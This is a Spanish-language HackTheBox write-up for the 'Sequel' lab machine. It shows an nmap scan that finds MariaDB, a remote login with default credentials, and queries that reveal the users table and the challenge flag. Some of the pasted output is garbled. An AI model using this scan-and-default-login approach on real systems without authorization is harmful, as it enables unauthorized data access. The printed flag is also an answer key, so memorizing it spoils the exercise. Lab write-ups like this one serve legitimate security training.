HackTheBox

Máquina: Sequel Pablo José Pérez Díez

Tras un escaneo inicial descubrimos un MySql corriendo en la máquina objetivo:

```
pabli 🛎 kali)
sudo nmap -sV -sC -p 3306 10.129.36.77
Starting Nmap 7.95 ( https://nmap.org ) at 202
Nmap scan report for 10.129.36.77
Host is up (0.082s latency).
          STATE SERVICE VERSION
3306/tcp open mysql?
  mysql-info:
    Protocol: 10
    Version: 5.5.5-10.3.27-MariaDB-0+deb10u1
    Thread ID: 102
    Capabilities flags: 63486
    Some Capabilities: DontAllowDatabaseTableC
eClient, Speaks41ProtocolOld, FoundRows, Suppo
aks41ProtocolNew, IgnoreSpaceBeforeParenthesis
  SupportsMultipleStatments
    Status: Autocommit
    Salt: &wJKv4<qEFnx1*zKGb7+
    Auth Plugin Name: mysql_native_password
Service detection performed. Please report any
Nmap done: 1 IP address (1 host up) scanned in
```

Probamos a conectarnos al MySql de forma remota con las credenciales por defecto de MariaDB y conseguimos acceder:

Una vez dentro identificamos las distintas bases de datos que existen, entramos en la BD con nombre 'htb' y observamos que existen las tablas 'config' y 'user':

Examinamos el contenido de ambas tablas y obtenemos la flag:

```
MariaDB root@10.129.36.77:htb> select * from users
id | username | email
 1
      admin
                 admin@sequel.htb |
 2
      lara
                 lara@sequel.htb
 3
                | sam@sequel.htb
     sam
                | mary@sequel.htb
     mary
4 rows in set
Time: 1.038s
MariaDB root@10.129.36.77:htb> select * from config
| id | name
                             value
                              60s
     timeout
 1
 2
     security
                              default
      auto_logon
 3
                              false
      max_size
 5
      flag
                            7b4bec00d1a39e3dd4e021ec3d915da8
 6
     enable_uploads
                             false
     | authentication_method | radius
7 rows in set
Time: 0.118s
MariaDB root@10.129.36.77:htb>
```